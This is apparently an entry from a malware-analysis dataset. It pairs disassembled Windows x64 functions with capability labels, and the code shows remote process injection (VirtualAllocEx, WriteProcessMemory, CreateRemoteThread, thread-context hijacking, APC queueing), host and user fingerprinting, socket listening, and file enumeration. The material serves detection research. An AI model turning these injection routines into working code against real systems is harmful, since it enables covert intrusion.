joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180013594
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
lea rcx, str.ntdll
mov rsi, r8
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
test rax, rax
jne 0x1800135d9
xor eax, eax
jmp 0x180013603
mov rcx, qword [rdi + 8]
xor r9d, r9d
mov r8, rsi
mov rdx, rbp
mov qword [rsp + 0x20], rbx
call rax
test eax, eax
jne 0x1800135d5
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x180013618
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
setne bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x180013644
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
mov r9, rdx
xor edx, edx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
setne bl
mov eax, ebx
add rsp, 0x40
pop rbx
ret

Function at 0x180013678
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x520
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x510], rax
mov rbx, qword [rsp + 0x578]
mov ebp, dword [rsp + 0x580]
mov edi, ecx
mov rcx, qword [rsp + 0x570]
mov rsi, r9
mov r14, r8
mov r15, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
mov r8, rax
test rax, rax
jne 0x1800136e2
xor eax, eax
jmp 0x18001377e
add r8, rbp
sub edi, 6
je 0x180013713
dec edi
jne 0x1800136db
mov r9, r8
mov qword [rsp + 0x30], rbx
xor edx, edx
xor r8d, r8d
mov rcx, r15
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x18001372d
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x1800136db
lea rdx, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1800136db
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov qword [rsp + 0xc0], r14
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1800136db
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x510]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0x550]
add rsp, 0x520
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180013a24
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, rcx
xor ebx, ebx
mov edi, r9d
lea ecx, [rbx + 0x2d]
mov r12, r8
call fcn.180019618
lea ecx, [rbx + 0x2b]
mov ebp, eax
cmp edi, eax
cmova ebp, edi
mov r15d, ebp
call fcn.1800196a0
mov r9d, 0x3000
movzx eax, ax
mov r8d, ebp
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x180013a9c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x1f]
mov edx, ebp
mov r8d, eax
call fcn.18000d518
xor eax, eax
jmp 0x180013b2f
test edi, edi
jle 0x180013add
movsxd rcx, ebx
mov eax, edi
sub eax, ebx
lea r8, [rcx + r12]
lea rdx, [rcx + rsi]
movsxd r9, eax
lea rax, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180013b15
mov eax, dword [rsp + 0x88]
add ebx, eax
test eax, eax
je 0x180013a95
cmp ebx, edi
jl 0x180013aa0
mov ecx, 0x2c
call fcn.1800196a0
mov r8, r15
mov rdx, rsi
movzx r9d, ax
lea rax, [rsp + 0x30]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x180013b2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, send
jmp 0x180013b20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_recv
mov edx, eax
call fcn.18000d50c
jmp 0x180013a95
mov rax, rsi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x180013bfc
Capabilities:
Resume thread

Disassembly:
cmp byte [rcx + 0x14], 0
mov rcx, qword [rcx + 8]
je 0x180013c9c
jmp 0x180013bfc
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x500
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rsi, rdx
lea rdx, [rsp + 0x20]
mov rbp, r8
mov rdi, rcx
mov dword [rsp + 0x50], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ebx, ebx
test eax, eax
jne 0x180013c43
xor eax, eax
jmp 0x180013c76
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rbp
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x180013c3f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0x538]
add rsp, 0x500
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x300
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
xor ebx, ebx
mov rsi, rdx
mov rdi, rcx
test r8, r8
je 0x180013cd1
xor eax, eax
jmp 0x180013d12
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x100002
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x180013ccd
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0xd0], esi
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x180013ccd
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.18001b630
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180013c9c
Capabilities:
Resume thread

Disassembly:
cmp byte [rcx + 0x14], 0
mov rcx, qword [rcx + 8]
je 0x180013c9c
jmp 0x180013bfc
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x500
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rsi, rdx
lea rdx, [rsp + 0x20]
mov rbp, r8
mov rdi, rcx
mov dword [rsp + 0x50], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ebx, ebx
test eax, eax
jne 0x180013c43
xor eax, eax
jmp 0x180013c76
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rbp
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x180013c3f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0x538]
add rsp, 0x500
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x300
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
xor ebx, ebx
mov rsi, rdx
mov rdi, rcx
test r8, r8
je 0x180013cd1
xor eax, eax
jmp 0x180013d12
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x100002
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x180013ccd
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0xd0], esi
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x180013ccd
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.18001b630
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x1800146c4
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
lea rax, [rax - 0x18]
mov edi, r8d
mov rbp, rdx
xor ebx, ebx
xor r9d, r9d
and qword [rax - 8], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x18001470b
or eax, 0xffffffff
jmp 0x18001476d
cmp dword [rsp + 0x30], ebx
jbe 0x180014769
cmp ebx, edi
jae 0x180014769
and qword [rsp + 0x20], 0
mov r8d, edi
lea r9, [rsp + 0x68]
sub r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x68]
and qword [rsp + 0x28], 0
add ebx, dword [rsp + 0x68]
add rbp, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x180014706
cmp dword [rsp + 0x30], 0
ja 0x180014711
mov eax, dword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1800150c4
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
and dword [rax - 0x18], 0
xor ebx, ebx
and qword [rax - 0x28], rbx
mov edi, r8d
mov rbp, rdx
lea r8d, [rbx + 4]
lea r9, [rax + 0x20]
lea rdx, [rax - 0x18]
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180015151
cmp dword [rsp + 0x68], 4
jne 0x180015151
mov eax, dword [rsp + 0x30]
cmp eax, edi
jg 0x180015151
test eax, eax
jle 0x18001514d
and qword [rsp + 0x20], 0
sub eax, ebx
movsxd rdx, ebx
lea r9, [rsp + 0x68]
mov rcx, rsi
add rdx, rbp
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180015151
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x180015151
add ebx, eax
mov eax, dword [rsp + 0x30]
cmp ebx, eax
jl 0x180015118
mov eax, ebx
jmp 0x180015154
or eax, 0xffffffff
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x1800153b0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
and dword [rsp + 0x30], 0
mov rbx, rdx
mov rdi, rcx
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
lea rax, [0x180015450]
lea rcx, [0x180014f48]
mov qword [rdi + 0x10], rax
lea rax, [0x180015468]
mov qword [rdi + 8], rbx
mov rbx, qword [rsp + 0x38]
mov qword [rdi + 0x18], rax
lea rax, [0x180015428]
mov qword [rdi + 0x20], rax
lea rax, [0x18001545c]
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x30], rax
mov rax, rdi
mov qword [rdi + 0x38], rcx
add rsp, 0x20
pop rdi
ret
Function at 0x1800156b8
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov ecx, 0x294
mov r14, rdx
call fcn.180015838
mov edi, __WSAFDIsSet
mov rcx, rax
mov edx, edi
mov r12, rax
call fcn.180015950
lea ebx, [rdi + 0x6c]
mov rcx, r12
mov edx, ebx
mov rsi, rax
call fcn.180015950
mov edx, ebx
mov rcx, r12
mov r13, rax
call fcn.180015950
lea rdx, [rsp + 0xb8]
mov rcx, rax
mov r15, rax
mov dword [rsp + 0xb8], ebx
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.18001a084
test eax, eax
je 0x18001574c
lea r8, [0x18002dc5c]
mov r9d, 2
mov edx, ebx
mov rcx, r15
call fcn.18001c2cc
lea rdx, [rsp + 0xb8]
mov rcx, r13
mov dword [rsp + 0xb8], ebx
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov r8, rdi
xor edx, edx
mov rcx, rsi
call fcn.18001aa50
mov rcx, rsi
mov dword [rsi], edi
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
call fcn.180010f28
test eax, eax
jne 0x18001579b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.180010ee0
test eax, eax
jne 0x18001579b
xor ebp, ebp
jmp 0x1800157a0
mov ebp, 1
call fcn.180010f28
mov ebx, eax
call fcn.18000de88
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [rsi + 8]
movsxd rdx, dword [rsp + 0xb0]
mov r9d, dword [rsp + 0xa0]
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x50], ebp
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsi + 4]
mov dword [rsp + 0x28], ecx
lea r8, str._d_t_d_t_d._d_t_s_t_s_t_s_t_d_t_d
mov rcx, r14
mov dword [rsp + 0x20], eax
call fcn.18001ab5c
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [r14 + rbx], 0
jne 0x180015801
mov eax, 0x59
mov rcx, r12
cmp ebx, eax
cmovg ebx, eax
call fcn.1800158e8
mov eax, ebx
mov rbx, qword [rsp + 0xa8]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180015fc0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov ebx, 1
mov edi, edx
mov esi, ecx
mov dword [rsp + 0x20], ebx
call fcn.18000e0e8
lea r14d, [rbx + 1]
mov ecx, r14d
xor r8d, r8d
mov edx, ebx
call qword [sym.imp.WS2_32.dll_socket]
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x180016016
mov rax, rbp
jmp 0x18001607d
movzx ecx, si
mov word [rsp + 0x28], r14w
call qword [sym.imp.WS2_32.dll_htons]
and dword [rsp + 0x2c], 0
lea r8, [rsp + 0x20]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, ebp
jne 0x180016051
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x180016011
lea rdx, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
cmp eax, ebp
je 0x180016049
mov edx, edi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, ebp
jne 0x18001607a
mov rcx, rbx
jmp 0x180016049
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x1800160bc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.1800160e4
mov rcx, rbx
call fcn.1800163f0
test eax, eax
jg 0x1800160ca
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x1800164fc
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x180041400]
xor edi, edi
test rbx, rbx
je 0x18001659a
mov eax, dword [rbx + 4]
test eax, eax
jne 0x18001652d
cmp dword [rbx + 0xc], eax
jne 0x180016536
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x18001650f
test eax, eax
jne 0x18001652d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x18001652d
cmp dword [rbx + 0x10], 0
jne 0x18001655f
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180016573
cmp dword [rbx + 0x10], 2
je 0x18001652d
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x18001658e
mov qword [rdi + 0x28], rax
call fcn.18001a764
mov rbx, qword [rdi + 0x28]
jmp 0x18001650f
mov qword [0x180041400], rax
call fcn.18001a764
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1800163f0
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x20
and dword [rax + 0x10], 0
mov rbx, qword [0x180041400]
xor edi, edi
cmp qword [0x180041408], rdi
mov rsi, rcx
jne 0x18001642f
mov ecx, 0x100000
call fcn.18001a7a4
mov qword [0x180041408], rax
test rbx, rbx
je 0x1800164e3
mov r15d, 0xffffc
cmp dword [rbx + 4], 1
jne 0x1800164d6
mov ecx, dword [rbx]
call qword [sym.imp.WS2_32.dll_htonl]
lea r8, [rsp + 0x38]
mov edx, 0x4004667f
mov ecx, eax
mov rax, qword [0x180041408]
mov dword [rax], ecx
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rsp + 0x38]
cmp r8d, r15d
cmova r8d, r15d
mov dword [rsp + 0x38], r8d
cmp eax, 0xffffffff
je 0x1800164a3
test r8d, r8d
je 0x1800164d6
mov rdx, qword [0x180041408]
mov rcx, qword [rbx + 0x20]
add rdx, 4
call fcn.1800165a8
cmp eax, 0xffffffff
jne 0x1800164ba
mov rcx, qword [0x180041408]
and dword [rbx + 4], 0
mov edx, 4
mov r8d, edx
call rsi
jmp 0x1800164d6
mov edx, dword [rsp + 0x38]
cmp eax, edx
jne 0x1800164d6
mov rcx, qword [0x180041408]
add edx, 4
mov r8d, 5
call rsi
inc edi
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001643e
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret

Function at 0x1800164fc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.1800160e4
mov rcx, rbx
call fcn.1800163f0
test eax, eax
jg 0x1800160ca
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x1800164fc
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x180041400]
xor edi, edi
test rbx, rbx
je 0x18001659a
mov eax, dword [rbx + 4]
test eax, eax
jne 0x18001652d
cmp dword [rbx + 0xc], eax
jne 0x180016536
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x18001650f
test eax, eax
jne 0x18001652d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x18001652d
cmp dword [rbx + 0x10], 0
jne 0x18001655f
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180016573
cmp dword [rbx + 0x10], 2
je 0x18001652d
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x18001658e
mov qword [rdi + 0x28], rax
call fcn.18001a764
mov rbx, qword [rdi + 0x28]
jmp 0x18001650f
mov qword [0x180041400], rax
call fcn.18001a764
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1800165a8
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov esi, r8d
mov rbp, rdx
mov rdi, rcx
test r8d, r8d
jle 0x1800165f2
mov r8d, esi
xor r9d, r9d
mov rdx, rbp
sub r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
add rbp, rcx
add ebx, ecx
cmp ecx, 0xffffffff
je 0x180016609
cmp ebx, esi
jl 0x1800165cc
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov edx, 2
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x1800165f4

Function at 0x180016628
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x470
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov ebp, r8d
mov rsi, rdx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and dword [rsp + 0x30], 0
mov dword [rsp + 0x34], 0x64
lea edi, [rax + 0x7530]
jmp 0x18001670c
mov rax, qword [rbx + 0x20]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x250]
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x250], 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 1
call qword [sym.imp.WS2_32.dll_select]
mov rcx, qword [rbx + 0x20]
lea rdx, [rsp + 0x40]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x18001671a
mov rcx, qword [rbx + 0x20]
lea rdx, [rsp + 0x250]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x18001670c
mov rcx, qword [rbx + 0x20]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x18001671a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x18001671a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x180016670
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x470
pop rdi
pop rsi
pop rbp
ret
Function at 0x18001831c
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r14, rcx
mov r12d, 0x8000
mov r15, r8
mov ecx, r12d
mov rsi, rdx
call fcn.18001a7a4
lea r8, str._s
mov r9, r14
mov rcx, rax
mov edx, r12d
mov rbx, rax
call fcn.18001ab5c
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, rbx
mov rbp, rax
call fcn.18001a764
cmp rbp, 0xffffffffffffffff
je 0x18001843a
lea rdi, [rsi + 0x2c]
test byte [rsi], 0x10
je 0x180018411
mov al, byte [rdi]
cmp al, byte [0x18002dcf4]
jne 0x1800183a7
mov al, byte [rdi + 1]
cmp al, byte [0x18002dcf5]
je 0x18001841d
mov al, byte [rdi]
cmp al, byte [0x18002dcf8]
jne 0x1800183c7
mov al, byte [rdi + 1]
cmp al, byte [0x18002dcf9]
jne 0x1800183c7
mov al, byte [rdi + 2]
cmp al, byte [0x18002dcfa]
je 0x18001841d
mov rcx, r12
call fcn.18001a7a4
lea r8, [0x18002d7a8]
mov r9, rdi
mov rcx, rax
mov rdx, r12
mov rbx, rax
call fcn.18001ab5c
mov r9, r15
mov r8, rsi
mov rdx, rdi
mov rcx, r14
call fcn.18001845c
mov r8d, 1
mov rdx, rbx
mov rcx, r14
call r15
mov rcx, rbx
call fcn.18001a764
jmp 0x18001841d
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call r15
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x18001838d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret